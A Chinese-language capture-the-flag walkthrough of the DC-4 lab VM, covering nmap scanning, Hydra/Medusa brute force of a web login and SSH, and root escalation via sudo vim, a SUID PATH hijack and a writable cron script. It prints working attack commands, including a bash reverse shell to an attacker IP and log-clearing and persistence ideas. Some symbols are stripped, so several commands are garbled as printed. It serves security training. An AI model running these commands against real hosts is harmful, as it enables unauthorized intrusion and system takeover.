
1. 項目概述從靶機到實戰的SSH攻防演練最近在整理滲透測試的學習筆記翻到了DC-4這個經典的靶機。它不像DC-1那樣是純粹的入門引導也不像DC-3那樣有明確的Web路徑DC-4更像是一個“混合型”的實戰沙盒其核心挑戰之一就是SSH服務的暴力破解與后續的權限提升。很多朋友在打這個靶機時往往卡在Web登錄后的那一步或者即使拿到了一個低權限的shell也不知道如何進一步突破。今天我就以一個老滲透手的視角把DC-4靶機中涉及SSH暴力破解的技巧、工具的選擇與優化、以及拿到立足點后的提權路徑掰開揉碎了講一遍。這不僅僅是打靶其中的思路和方法對于理解真實環境中Linux服務器的弱口令防護和權限維持有著直接的參考價值。DC-4靶機模擬了一個常見的場景一個對外提供Web服務的應用其后臺管理入口暴露并且服務器上運行著SSH服務。攻擊者通常的路徑是通過Web漏洞或弱口令進入后臺在后臺尋找線索比如SSH憑據然后嘗試登錄SSH。如果SSH密碼強度不足暴力破解就成了最直接有效的手段。成功登錄SSH后我們獲得的往往是一個普通用戶權限這時就需要運用各種本地提權技術最終拿到root權限。整個過程考驗的是信息收集、密碼攻擊的效率和提權漏洞的發現能力。下面我們就按照這個實戰流程一步步拆解。2. 環境搭建與信息收集奠定攻擊基礎在開始任何攻擊之前充分的信息收集是成功的一半。對于DC-4這類已知的靶機我們雖然知道目標大概是什么但嚴謹的流程不能少這能培養良好的實戰習慣。2.1 靶機環境配置與網絡發現首先確保你的攻擊機通常是Kali Linux和DC-4靶機處于同一網絡段。我習慣使用VMware或VirtualBox的NAT網絡模式這樣能模擬一個隔離的內部網絡環境。啟動靶機后第一步是發現它的IP地址。這里最常用的工具是netdiscover或者nmap進行ARP掃描。我更喜歡用nmap因為它更靈活。sudo nmap -sn 192.168.1.0/24這條命令會對192.168.1.0/24網段進行Ping掃描-sn 不進行端口掃描快速找出存活的設備。從結果中找到那個不屬于你已知設備的IP很可能就是DC-4。假設我們發現的靶機IP是192.168.1.105。注意在實際的授權滲透測試中必須明確獲得掃描目標網段的許可。未經授權的掃描是違法行為。拿到IP后我們需要進行更詳細的端口掃描以了解靶機開放了哪些服務。sudo nmap -sS -sV -O -p- 192.168.1.105-sS: TCP SYN掃描一種半開放掃描速度快且相對隱蔽。-sV: 版本探測嘗試識別運行在開放端口上的服務及其版本。-O: 操作系統探測。-p-: 掃描所有65535個端口。掃描結果通常會顯示兩個關鍵端口80/tcp: HTTP運行著一個Web服務。這是我們的初始入口。22/tcp: SSH運行著OpenSSH服務。這是我們暴力破解和后續登錄的目標。2.2 Web應用初步偵察與入口突破既然有Web服務瀏覽器訪問http://192.168.1.105是必然的。DC-4的Web界面通常是一個簡單的登錄頁面。面對登錄框我們首先嘗試一些常見的弱口令比如admin/admin、admin/password等。在DC-4中這些往往不奏效。這時我們需要更系統的方法。使用Burp Suite或Hydra對登錄表單進行暴力破解是標準操作。但在此之前用瀏覽器開發者工具F12查看一下登錄請求的格式非常關鍵。你需要弄清楚請求方法通常是POST。參數名用戶名和密碼對應的字段名比如username和password。可能的錯誤提示登錄失敗時頁面返回什么信息是“登錄失敗”還是“用戶名或密碼錯誤”這關系到我們使用工具時判斷成功的條件。假設我們通過Burp Suite抓包發現POST數據為usernameadminpasswordtestsubmitLogin失敗時頁面會包含“Invalid username or password”字樣。我們可以使用Hydra來針對這個登錄進行爆破hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.105 http-post-form /login.php:username^USER^password^PASS^submitLogin:Invalid username or password-l admin: 指定用戶名為admin如果我們通過其他信息收集猜到了用戶名。-P ...: 指定密碼字典這里用了Kali自帶的rockyou.txt需先解壓sudo gunzip /usr/share/wordlists/rockyou.txt.gz。http-post-form: 指定協議模塊。后面的參數是模塊的詳細格式路徑:POST數據:失敗條件。在DC-4的實際演練中你可能會發現直接對admin用戶爆破不成功。這時信息收集的另一個方面就很重要了枚舉用戶名。也許網站存在注冊功能、密碼找回功能或者頁面源碼、注釋里隱藏了其他用戶名如jim,charles等。我們可以先準備一個用戶名字典users.txt然后同時爆破用戶名和密碼。hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.105 http-post-form /login.php:username^USER^password^PASS^submitLogin:Invalid username or password成功爆破后我們就能進入Web后臺。在DC-4的后臺往往存在一個“命令執行”功能點比如一個可以輸入命令并返回結果的輸入框。這通常是我們獲取第一個反向Shell的跳板。3. SSH暴力破解的核心技巧與工具實戰通過Web后臺的命令執行功能我們通常能獲得一個www-data用戶權限的Shell。但這個Shell往往受限比如沒有TTY交互性差也不穩定。因此轉向SSH是建立更穩定、功能更完整控制通道的最佳選擇。但SSH密碼是什么這就需要暴力破解。3.1 從Web Shell到SSH用戶枚舉在拿到低權限Web Shell后第一件事是查看系統中有哪些用戶特別是那些可能擁有登錄Shell的用戶如/bin/bash,/bin/sh。cat /etc/passwd | grep -E “(/bin/bash|/bin/sh)”這個命令會列出所有可以使用bash或sh登錄的用戶。在DC-4中你可能會發現除了root還有像jim,charles這樣的用戶。接下來嘗試尋找這些用戶的蛛絲馬跡。檢查他們的家目錄如果可讀看看有沒有.ssh目錄、歷史文件.bash_history、或者配置文件。有時密碼可能直接寫在某個文本文件里或者通過歷史命令暴露出來。ls -la /home/jim/ cat /home/jim/.bash_history 2/dev/null find / -name “*.txt” -o -name “*.bak” -o -name “*.old” 2/dev/null | grep -v /proc如果這些直接的信息收集沒有收獲那么針對SSH的暴力破解就提上日程了。3.2 Hydra與Medusa經典工具的深度使用Hydra和Medusa是網絡服務暴力破解的兩大利器。對于SSH它們都非常高效。使用Hydra爆破SSH假設我們通過信息收集懷疑用戶jim可能存在弱口令。hydra -l jim -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.105 -t 4-t 4: 指定任務并行數根據網絡情況和目標承受能力調整默認是16對于SSH可以調低以減少連接失敗。使用Medusa爆破SSHMedusa的模塊化設計有時在復雜環境下更穩定。medusa -h 192.168.1.105 -u jim -P /usr/share/wordlists/rockyou.txt -M ssh實操心得與避坑指南速率控制無限制的高速爆破很容易觸發目標的防御機制如fail2ban導致IP被封鎖也可能會壓垮目標服務。務必使用-wHydra或-tMedusa等參數控制線程數并考慮使用-fHydra在找到第一個有效密碼后停止。字典質量rockyou.txt是很好的起點但它包含1400多萬個密碼對SSH進行全量爆破非常耗時。更好的方法是使用針對性字典。例如如果目標用戶叫jim可以嘗試將jim、jim123、jim2023、passwordjim等組合密碼加入一個自定義的小字典優先嘗試。工具如CUPP可以根據個人信息生成針對性字典。錯誤處理SSH爆破會產生大量連接錯誤日志。使用-vVHydra或-v 6Medusa查看詳細輸出但要注意過于詳細的輸出在大型字典爆破時會影響速度。通常先快速測試一個小字典再用大字典耐心跑。協議差異確保指定了正確的協議ssh://。Hydra支持很多協議寫錯協議模塊是常見錯誤。3.3 利用已獲信息進行精準爆破在滲透測試中“暴力”不等于“盲目”。我們應充分利用已獲得的所有信息來縮小攻擊面。用戶名列表從/etc/passwd、Web應用頁面、郵件列表等處收集可能的用戶名生成users.txt。密碼規則如果從Web應用、數據庫備份或配置文件里發現了密碼策略如“密碼必須包含大寫字母和數字”可以利用hashcat的規則模式或John the Ripper的規則來生成符合策略的字典。密碼復用如果已經拿到了一個用戶比如charles的密碼可能從Web后臺的配置文件中發現一定要嘗試這個密碼在其他用戶如jim,root上的復用。很多人會在不同賬戶使用相同或相似的密碼。在DC-4的場景中經過合理的字典和用戶枚舉你很有可能會成功爆破出用戶jim的SSH密碼。4. SSH登錄后的初步立足與信息收集成功使用ssh jim192.168.1.105登錄后我們獲得了一個交互性更好的Shell。但這只是普通用戶權限我們的目標是root。接下來的每一步操作都是為了向這個目標邁進。4.1 基礎信息收集清單登錄后不要急著亂跑。系統性地收集信息能讓你更快地找到提權突破口。我習慣執行以下命令序列當前用戶權限id whoami sudo -l # **非常重要** 查看當前用戶能以root身份運行哪些命令。sudo -l是提權的“黃金門票”。如果用戶被配置了無需密碼就能以root身份運行特定命令如/bin/bash,vim,find,python等提權幾乎瞬間完成。系統信息uname -a # 內核版本 cat /etc/issue # 系統發行版信息 cat /etc/os-release dpkg -l 2/dev/null | head -20 # Debian/Ubuntu查看已安裝軟件包 rpm -qa 2/dev/null | head -20 # CentOS/RHEL查看已安裝軟件包內核版本和發行版信息用于搜索公開的本地提權漏洞如DirtyCow。進程與服務ps aux netstat -tulpn 或 ss -tulpn # 查看網絡連接和監聽端口 systemctl list-units --typeservice --staterunning # 查看運行的系統服務高權限運行的異常進程、內部開放的有漏洞服務都可能是突破口。計劃任務crontab -l # 查看當前用戶的計劃任務 ls -la /etc/cron* # 查看系統級計劃任務目錄 cat /etc/crontab檢查是否有任何計劃任務以root權限運行并且其腳本或二進制文件當前用戶有寫入權限。如果有可以通過寫入惡意命令來提權。SUID/GUID文件find / -type f -perm -4000 -o -perm -2000 2/dev/null查找設置了SUIDSet User ID或GUIDSet Group ID位的文件。這些文件在執行時會以文件所有者通常是root的權限運行。如果這些文件本身存在漏洞如nmap舊版本、vim、find、bash等或者其行為可被操控就可能用于提權。敏感文件與目錄權限find / -writable -type d 2/dev/null # 查找當前用戶可寫的目錄 find / -perm -ow -type f 2/dev/null | grep -v /proc # 查找全局可寫的文件 ls -la /etc/passwd /etc/shadow # 檢查密碼文件權限全局可寫的腳本、配置文件特別是那些會被root執行的是絕佳的提權點。4.2 DC-4靶機中的常見提權路徑分析根據以往的經驗DC-4的提權路徑通常設計得比較“經典”旨在教學。在系統性地執行完上述信息收集后你可能會發現以下一個或多個線索sudo權限濫用用戶jim可能被配置了sudo權限可以無需密碼運行某個編輯器如vim或文本處理器如more,less。例如sudo -l返回(root) NOPASSWD: /usr/bin/vim。這時在vim中執行:!bash或:!sh就能直接獲得一個root shell。SUID二進制文件系統中可能放置了一個設置了SUID位的、非常規的二進制文件。使用上述find命令找出來后需要研究這個程序的用途。如果它是一個自定義程序嘗試用strings命令查看其字符串或者用ltrace/strace跟蹤其執行過程看它是否調用了其他命令如cat,ls并且沒有使用絕對路徑。如果存在路徑劫持的可能提權就很簡單了。計劃任務Cron Job可能有一個root權限的定時任務執行一個當前用戶有寫入權限的腳本。通過編輯這個腳本插入反向Shell命令如bash -i /dev/tcp/攻擊機IP/端口 01等待任務執行就能獲得root shell。內核漏洞作為最后的手段。使用uname -a獲取內核版本然后在攻擊機上搜索對應的本地提權漏洞如searchsploit linux kernel 3.13。下載EXP上傳到靶機編譯并執行。注意內核漏洞利用有風險可能導致系統崩潰。在靶機環境可以嘗試在生產環境需極度謹慎。5. 經典提權方法實戰演示以SUID和Cron為例假設我們在DC-4的信息收集中發現了以下兩個典型的提權點。5.1 SUID文件提權路徑劫持與自定義程序分析執行find / -type f -perm -4000 2/dev/null后除了常見的/bin/ping、/bin/su等我們發現了一個不常見的文件/usr/local/bin/suid-example。首先查看這個文件的基本信息ls -la /usr/local/bin/suid-example file /usr/local/bin/suid-example發現它屬于root并且設置了SUID位。接著嘗試運行它看看它做什么/usr/local/bin/suid-example它可能輸出一些信息或者要求輸入。我們用strings看看里面有什么strings /usr/local/bin/suid-example在輸出中我們可能看到像system(“ls /tmp”)或system(“cat /home/jim/data.txt”)這樣的字符串。這說明這個程序內部調用了ls或cat等系統命令。關鍵點來了它調用ls時使用的是相對路徑還是絕對路徑如果是相對路徑直接寫ls而不是/bin/ls那么系統會在$PATH環境變量指定的目錄中尋找名為ls的可執行文件。而$PATH變量是繼承自執行這個SUID程序的用戶的雖然程序以root權限運行但環境變量可能被當前用戶控制。我們可以檢查并篡改$PATHecho $PATH假設$PATH包含/home/jim/bin:/usr/local/sbin:/usr/local/bin...。我們將一個惡意腳本命名為ls放在/home/jim/bin這個目錄我們需要有寫權限下。創建惡意ls腳本cd /home/jim mkdir -p bin echo ‘/bin/bash -p’ bin/ls # ‘-p’ 選項在bash中用于保留特權模式 chmod x bin/ls然后確保/home/jim/bin在$PATH中的順序優先于/binexport PATH/home/jim/bin:$PATH現在再次運行那個SUID程序/usr/local/bin/suid-example。當它試圖執行ls命令時會優先找到我們放在/home/jim/bin下的惡意ls腳本并以root權限執行它從而給我們一個root shell。5.2 Cron Job提權利用可寫腳本執行cat /etc/crontab或查看/etc/cron.*目錄時發現如下一行* * * * * root /opt/scripts/backup.sh這表示root用戶每分鐘都會執行一次/opt/scripts/backup.sh腳本。我們檢查這個腳本的權限ls -la /opt/scripts/backup.sh如果發現這個腳本對當前用戶jim可寫或者其所在目錄/opt/scripts對jim可寫那么機會就來了。首先備份原腳本可選但建議cp /opt/scripts/backup.sh /opt/scripts/backup.sh.bak然后編輯這個腳本在末尾添加我們的反向Shell命令。我們需要知道攻擊機的IP和監聽端口。假設攻擊機IP是192.168.1.100監聽端口4444。echo ‘bash -i /dev/tcp/192.168.1.100/4444 01’ /opt/scripts/backup.sh在攻擊機上用nc監聽4444端口nc -lvnp 4444等待最多一分鐘Cron任務執行后攻擊機的nc監聽端就會收到一個來自靶機的、root權限的反向Shell連接。重要提示在實際滲透測試中修改系統文件前務必三思并最好先取得明確授權。在靶機環境中則可以大膽練習。6. 問題排查與進階思考在實際操作中不會總是一帆風順。下面是一些常見問題及排查思路。6.1 SSH暴力破解失敗的可能原因IP被封鎖目標可能部署了fail2ban等入侵防御系統。表現是Hydra大量報告“Connection closed by remote host”或超時。應對降低線程數-t 1增加延遲Hydra沒有直接參數可配合其他工具如slowhttptest思路或換用Medusa的-t和-T控制線程和延遲。或者如果條件允許更換攻擊源IP。字典不匹配使用的密碼字典完全不符合目標的密碼策略如全是短密碼而目標要求12位以上。應對結合信息收集結果生成針對性字典。利用之前獲得的任何密碼如Web后臺密碼進行變形添加數字、符號、大小寫變換生成新字典。用戶名錯誤你爆破的用戶根本不存在或者無法通過SSH登錄shell是/sbin/nologin。應對仔細分析/etc/passwd確認哪些用戶有可登錄的shell。也可以嘗試用hydra的-L選項配合一個較大的用戶名字典。SSH配置限制目標SSH服務可能配置了AllowUsers或DenyUsers限制了可登錄的用戶。應對這種信息從外部難以直接獲取。如果Web Shell存在可以嘗試查看/etc/ssh/sshd_config文件。6.2 提權過程中的常見障礙與繞過sudo需要密碼sudo -l顯示可以運行某些命令但需要輸入當前用戶的密碼。應對嘗試用已收集的密碼如SSH密碼來sudo。如果不行這條路暫時放棄尋找其他向量。SUID文件行為復雜找到的SUID文件行為不易理解或者調用的命令使用了絕對路徑。應對使用strace跟蹤系統調用ltrace跟蹤庫函數調用這能清晰展示程序執行過程。如果使用絕對路徑路徑劫持失效需要分析程序本身的邏輯是否有漏洞如緩沖區溢出但這通常超出了基礎提權范圍。內核EXP編譯失敗或導致崩潰應對確保EXP代碼與目標系統架構x86/x64匹配。查看EXP代碼中的說明可能需要安裝gcc和make。在靶機上編譯前可以先在類似環境的虛擬機中測試。如果導致系統崩潰在靶機環境中重啟即可但在真實環境中這是災難性的。沒有明顯的提權向量應對回歸信息收集檢查得更仔細。查看用戶的郵件/var/mail/、緩存文件、日志文件/var/log/、臨時文件/tmp/,/var/tmp/。使用自動化腳本如LinEnum.sh或linpeas.sh需要上傳到靶機進行全面的權限檢查這些腳本能高效地發現容易被忽略的弱點。6.3 從靶機到實戰的思維延伸DC-4是一個理想化的教學環境真實世界要復雜得多。密碼策略企業環境的密碼策略更嚴格單純的字典爆破成功率低。需要結合社會工程學、密碼泄露庫如Have I Been Pwned、以及針對特定規則生成的密碼進行攻擊。多因素認證MFA越來越多的SSH和關鍵服務啟用MFA這會讓密碼破解失去意義。此時需要尋找其他入口點比如利用Web應用的邏輯漏洞、供應鏈攻擊等。日志清理在獲得root權限后在靶機中可以練習清理訪問日志如/var/log/auth.log,/var/log/secure以及可能存在的~/.bash_history以掩蓋蹤跡。但在授權的滲透測試中是否需要清理日志取決于測試協議通常要求保留證據供分析。持久化拿到root不是終點。在真實攻擊中攻擊者會部署后門以實現持久化訪問。例如添加SSH公鑰到/root/.ssh/authorized_keys創建定時任務后門或者安裝rootkit。在靶機環境中也可以練習這些技術以理解防御方應如何檢測。打靶的目的是理解攻擊鏈的每一個環節從而更好地構建防御。通過對DC-4這類靶機的深入演練我們不僅能掌握SSH暴力破解、SUID提權、Cron提權等具體技術更能建立起“攻擊者視角”的思維方式永不滿足于當前權限持續收集信息交叉驗證線索將每一個細微的發現都視為潛在的突破口。這種系統性、耐心和創造力才是滲透測試工程師的核心價值所在。